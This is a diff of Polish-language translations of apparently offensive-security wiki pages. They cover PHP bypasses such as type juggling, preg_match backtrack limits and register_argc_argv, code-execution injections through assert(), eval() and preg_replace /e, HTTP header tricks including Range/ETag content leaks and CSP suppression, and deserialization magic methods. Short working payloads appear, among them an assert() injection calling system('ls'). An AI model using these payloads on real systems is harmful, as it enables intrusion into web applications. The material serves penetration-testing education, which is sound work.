- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
- `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0
 | 
			
		||||
 | 
			
		||||
Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 | 
			
		||||
@ -98,7 +98,7 @@ Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://
 | 
			
		||||
#### **Obejście błędu długości**
 | 
			
		||||
 | 
			
		||||
(To obejście było podobno testowane na PHP 5.2.5 i nie mogłem go uruchomić na PHP 7.3.15)\
 | 
			
		||||
Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** kontrolę. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
 | 
			
		||||
Jeśli możesz wysłać do `preg_match()` ważny bardzo **duży input**, **nie będzie w stanie go przetworzyć** i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:
 | 
			
		||||
```bash
 | 
			
		||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 | 
			
		||||
```
 | 
			
		||||
@ -110,10 +110,10 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu.
 | 
			
		||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
 | 
			
		||||
 | 
			
		||||
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
 | 
			
		||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
 | 
			
		||||
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawia się ten problem. Nasze zadanie było teraz jasne:\
 | 
			
		||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flag :)**.
 | 
			
		||||
 | 
			
		||||
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ 
 | 
			
		||||
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
 | 
			
		||||
@ -143,21 +143,22 @@ header('Location: /index.php?page=default.html');
 | 
			
		||||
readfile($page);
 | 
			
		||||
?>
 | 
			
		||||
```
 | 
			
		||||
## Wykorzystanie przejścia ścieżki i włączenia plików
 | 
			
		||||
## Path Traversal and File Inclusion Exploitation
 | 
			
		||||
 | 
			
		||||
Sprawdź:
 | 
			
		||||
Check:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../../pentesting-web/file-inclusion/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Więcej sztuczek
 | 
			
		||||
## More tricks
 | 
			
		||||
 | 
			
		||||
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp za pomocą **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
 | 
			
		||||
- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
 | 
			
		||||
- **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie.
 | 
			
		||||
- **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
 | 
			
		||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2).
 | 
			
		||||
- Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
 | 
			
		||||
- [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/index.html)
 | 
			
		||||
- Jeśli konfiguracja php ma **`register_argc_argv = On`**, to parametry zapytania oddzielone spacjami są używane do wypełnienia tablicy argumentów **`array_keys($_SERVER['argv'])`** tak, jakby były **argumentami z CLI**. To jest interesujące, ponieważ jeśli ta **ustawienie jest wyłączone**, wartość **tablicy args będzie `Null`** gdy jest wywoływana z sieci, ponieważ tablica ars nie będzie wypełniona. Dlatego, jeśli strona internetowa próbuje sprawdzić, czy działa jako narzędzie webowe czy jako narzędzie CLI z porównaniem takim jak `if (empty($_SERVER['argv'])) {`, atakujący mógłby wysłać **parametry w żądaniu GET takie jak `?--configPath=/lalala`** i pomyśli, że działa jako CLI i potencjalnie przetworzy i użyje tych argumentów. Więcej informacji w [oryginalnym artykule](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
 | 
			
		||||
- [**LFI i RCE używając wrapperów php**](../../../pentesting-web/file-inclusion/index.html)
 | 
			
		||||
 | 
			
		||||
### password_hash/password_verify
 | 
			
		||||
 | 
			
		||||
@ -174,7 +175,7 @@ True
 | 
			
		||||
 | 
			
		||||
#### Causing error after setting headers
 | 
			
		||||
 | 
			
		||||
Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.
 | 
			
		||||
Z [**tego wątku na twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.
 | 
			
		||||
 | 
			
		||||
Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak:
 | 
			
		||||
```php
 | 
			
		||||
@ -185,7 +186,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 | 
			
		||||
#### Wypełnianie ciała przed ustawieniem nagłówków
 | 
			
		||||
 | 
			
		||||
Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\
 | 
			
		||||
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił duże błędy**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
 | 
			
		||||
W następującym scenariuszu **atakujący spowodował, że serwer zgłosił kilka dużych błędów**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (na przykład nagłówek CSP nie został wysłany do użytkownika):
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -211,7 +212,7 @@ preg_replace(pattern,replace,base)
 | 
			
		||||
preg_replace("/a/e","phpinfo()","whatever")
 | 
			
		||||
```
 | 
			
		||||
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\
 | 
			
		||||
Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
 | 
			
		||||
Ta opcja preg_replace została **wycofana od PHP 5.5.0.**
 | 
			
		||||
 | 
			
		||||
### **RCE za pomocą Eval()**
 | 
			
		||||
```
 | 
			
		||||
@ -223,16 +224,16 @@ Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.**
 | 
			
		||||
```
 | 
			
		||||
### **RCE via Assert()**
 | 
			
		||||
 | 
			
		||||
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zwykle zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
 | 
			
		||||
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
 | 
			
		||||
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić:
 | 
			
		||||
```
 | 
			
		||||
?page=a','NeVeR') === false and system('ls') and strpos('a
 | 
			
		||||
```
 | 
			
		||||
Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek**, a następnie **naprawić go z powrotem**. Możesz użyć **operacji logicznych** takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.
 | 
			
		||||
Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek**, a następnie **naprawić to z powrotem**. Możesz użyć **operacji logicznych** takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.
 | 
			
		||||
 | 
			
		||||
**Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'`
 | 
			
		||||
 | 
			
		||||
**Inną opcją** (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"`
 | 
			
		||||
**Inną opcją** (jeśli masz wewnętrzny kod) jest zmodyfikowanie niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"`
 | 
			
		||||
 | 
			
		||||
### **RCE via usort()**
 | 
			
		||||
 | 
			
		||||
@ -273,7 +274,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
 | 
			
		||||
 | 
			
		||||
### RCE przez zmienne środowiskowe
 | 
			
		||||
 | 
			
		||||
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz wykorzystać to zachowanie, aby uzyskać **RCE**.
 | 
			
		||||
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
 | 
			
		||||
 | 
			
		||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
 | 
			
		||||
- **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
 | 
			
		||||
@ -350,7 +351,7 @@ echo "${Da}"; //Drums
 | 
			
		||||
echo "$x ${$x}"; //Da Drums
 | 
			
		||||
echo "$x ${Da}"; //Da Drums
 | 
			
		||||
```
 | 
			
		||||
## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b")
 | 
			
		||||
## RCE wykorzystując nowe $\_GET\["a"]\($\_GET\["b")
 | 
			
		||||
 | 
			
		||||
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -43,7 +43,7 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
 | 
			
		||||
../../pentesting-web/abusing-hop-by-hop-headers.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Smuggling żądań HTTP
 | 
			
		||||
## Przemycanie żądań HTTP
 | 
			
		||||
 | 
			
		||||
- `Content-Length: 30`
 | 
			
		||||
- `Transfer-Encoding: chunked`
 | 
			
		||||
@ -56,12 +56,12 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
 | 
			
		||||
 | 
			
		||||
**Nagłówki pamięci podręcznej serwera**:
 | 
			
		||||
 | 
			
		||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zbuforowane i wartość **`hit`** gdy jest zbuforowane
 | 
			
		||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane w pamięci podręcznej
 | 
			
		||||
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
 | 
			
		||||
- **`Cache-Control`** wskazuje, czy zasób jest buforowany i kiedy będzie następny raz buforowany: `Cache-Control: public, max-age=1800`
 | 
			
		||||
- **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
 | 
			
		||||
- **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane.
 | 
			
		||||
- **`Age`** definiuje czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.
 | 
			
		||||
- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był buforowany
 | 
			
		||||
- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był zapisany w pamięci podręcznej
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/cache-deception/
 | 
			
		||||
@ -72,18 +72,19 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
 | 
			
		||||
- `Clear-Site-Data`: Nagłówek wskazujący, które dane w pamięci podręcznej powinny zostać usunięte: `Clear-Site-Data: "cache", "cookies"`
 | 
			
		||||
- `Expires`: Zawiera datę/godzinę, kiedy odpowiedź powinna wygasnąć: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
 | 
			
		||||
- `Pragma: no-cache` to samo co `Cache-Control: no-cache`
 | 
			
		||||
- `Warning`: Ogólny nagłówek HTTP **`Warning`** zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
 | 
			
		||||
- `Warning`: Nagłówek **`Warning`** ogólny nagłówek HTTP zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
 | 
			
		||||
 | 
			
		||||
## Warunki
 | 
			
		||||
 | 
			
		||||
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi\*\*`Last-Modified`\*\* zawiera inną datę.
 | 
			
		||||
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę.
 | 
			
		||||
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** używają wartości Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP.
 | 
			
		||||
- Wartość **Etag** jest zazwyczaj **obliczana na podstawie** **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** **37 bajtów**.
 | 
			
		||||
 | 
			
		||||
## Żądania zakresu
 | 
			
		||||
 | 
			
		||||
- **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresu, a jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
 | 
			
		||||
- **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić.
 | 
			
		||||
- **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład, `Range:80-100` zwróci bajty od 80 do 100 oryginalnej odpowiedzi z kodem statusu 206 Partial Content. Pamiętaj również, aby usunąć nagłówek `Accept-Encoding` z żądania.
 | 
			
		||||
- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zescapowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu.
 | 
			
		||||
- **`If-Range`**: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Używane do zapobiegania pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu.
 | 
			
		||||
- **`Content-Range`**: Wskazuje, gdzie w pełnej wiadomości ciała należy umieścić wiadomość częściową.
 | 
			
		||||
 | 
			
		||||
@ -92,11 +93,11 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
 | 
			
		||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów.
 | 
			
		||||
- **`Content-Type`**: Wskazuje typ mediów zasobu
 | 
			
		||||
- **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
 | 
			
		||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.
 | 
			
		||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnego preferowanego języka.
 | 
			
		||||
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych.
 | 
			
		||||
 | 
			
		||||
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
 | 
			
		||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD:
 | 
			
		||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
 | 
			
		||||
 | 
			
		||||
- Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
 | 
			
		||||
 | 
			
		||||
@ -108,7 +109,7 @@ Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnia
 | 
			
		||||
## Kontrole
 | 
			
		||||
 | 
			
		||||
- **`Allow`**: Ten nagłówek jest używany do komunikowania metod HTTP, które zasób może obsługiwać. Na przykład może być określony jako `Allow: GET, POST, HEAD`, co wskazuje, że zasób obsługuje te metody.
 | 
			
		||||
- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
 | 
			
		||||
- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient czeka na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
 | 
			
		||||
 | 
			
		||||
## Pobierania
 | 
			
		||||
 | 
			
		||||
@ -128,7 +129,7 @@ To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany.
 | 
			
		||||
 | 
			
		||||
### **Zaufane typy**
 | 
			
		||||
 | 
			
		||||
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API webowych, co w domyśle zabezpiecza kod JavaScript.
 | 
			
		||||
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API w sieci, co zabezpiecza kod JavaScript domyślnie.
 | 
			
		||||
```javascript
 | 
			
		||||
// Feature detection
 | 
			
		||||
if (window.trustedTypes && trustedTypes.createPolicy) {
 | 
			
		||||
@ -157,9 +158,9 @@ Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty m
 | 
			
		||||
```
 | 
			
		||||
X-Frame-Options: DENY
 | 
			
		||||
```
 | 
			
		||||
### **Polityka zasobów między źródłami (CORP) i Współdzielenie zasobów między źródłami (CORS)**
 | 
			
		||||
### **Polityka Zasobów Międzydomenowych (CORP) i Współdzielenie Zasobów Międzydomenowych (CORS)**
 | 
			
		||||
 | 
			
		||||
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm współdzielenia zasobów między źródłami, łagodząc politykę tego samego źródła w określonych warunkach.
 | 
			
		||||
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki międzydomenowe. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm współdzielenia zasobów międzydomenowych, łagodząc politykę tej samej domeny w określonych warunkach.
 | 
			
		||||
```
 | 
			
		||||
Cross-Origin-Resource-Policy: same-origin
 | 
			
		||||
Access-Control-Allow-Origin: https://example.com
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@
 | 
			
		||||
 | 
			
		||||
**Deserializacja**, przeciwnie, jest procesem, który przeciwdziała serializacji. Polega na wzięciu danych, które zostały ustrukturyzowane w określonym formacie, i odbudowaniu ich z powrotem w obiekt.
 | 
			
		||||
 | 
			
		||||
Deserializacja może być niebezpieczna, ponieważ potencjalnie **pozwala atakującym manipulować danymi serializowanymi w celu wykonania szkodliwego kodu** lub spowodowania nieoczekiwanego zachowania aplikacji podczas procesu odbudowy obiektu.
 | 
			
		||||
Deserializacja może być niebezpieczna, ponieważ potencjalnie **pozwala atakującym manipulować danymi serializowanymi w celu wykonania szkodliwego kodu** lub spowodowania nieoczekiwanego zachowania w aplikacji podczas procesu odbudowy obiektu.
 | 
			
		||||
 | 
			
		||||
## PHP
 | 
			
		||||
 | 
			
		||||
@ -18,7 +18,7 @@ W PHP podczas procesów serializacji i deserializacji wykorzystywane są specyfi
 | 
			
		||||
- `__wakeup`: Wywoływana, gdy obiekt jest deserializowany. Służy do przywracania wszelkich połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań ponownej inicjalizacji.
 | 
			
		||||
- `__unserialize`: Ta metoda jest wywoływana zamiast `__wakeup` (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do `__wakeup`.
 | 
			
		||||
- `__destruct`: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Jest zazwyczaj używana do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
 | 
			
		||||
- `__toString`: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w nim, skutecznie zapewniając tekstową reprezentację obiektu.
 | 
			
		||||
- `__toString`: Ta metoda pozwala na traktowanie obiektu jako ciągu znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w jej wnętrzu, skutecznie zapewniając tekstową reprezentację obiektu.
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
class test {
 | 
			
		||||
@ -153,7 +153,7 @@ Aby uzyskać więcej informacji na temat ucieczki z **pickle jails**, sprawdź:
 | 
			
		||||
 | 
			
		||||
### Yaml **&** jsonpickle
 | 
			
		||||
 | 
			
		||||
Następna strona przedstawia technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach pythonowych yaml** i kończy się narzędziem, które można wykorzystać do generowania ładunków deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
 | 
			
		||||
Następująca strona przedstawia technikę **wykorzystania niebezpiecznej deserializacji w bibliotekach pythonowych yaml** i kończy się narzędziem, które można wykorzystać do generowania ładunków deserializacji RCE dla **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
python-yaml-deserialization.md
 | 
			
		||||
@ -169,10 +169,10 @@ python-yaml-deserialization.md
 | 
			
		||||
 | 
			
		||||
### Funkcje magiczne JS
 | 
			
		||||
 | 
			
		||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które są wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego ich wywoływania**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
 | 
			
		||||
Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną wywołane.
 | 
			
		||||
JS **nie ma "magicznych" funkcji** jak PHP czy Python, które będą wykonywane tylko w celu utworzenia obiektu. Ale ma kilka **funkcji**, które są **często używane nawet bez bezpośredniego wywoływania ich**, takich jak **`toString`**, **`valueOf`**, **`toJSON`**.\
 | 
			
		||||
Jeśli wykorzystasz deserializację, możesz **skompromentować te funkcje, aby wykonać inny kod** (potencjalnie wykorzystując zanieczyszczenie prototypu), co pozwoli ci wykonać dowolny kod, gdy zostaną one wywołane.
 | 
			
		||||
 | 
			
		||||
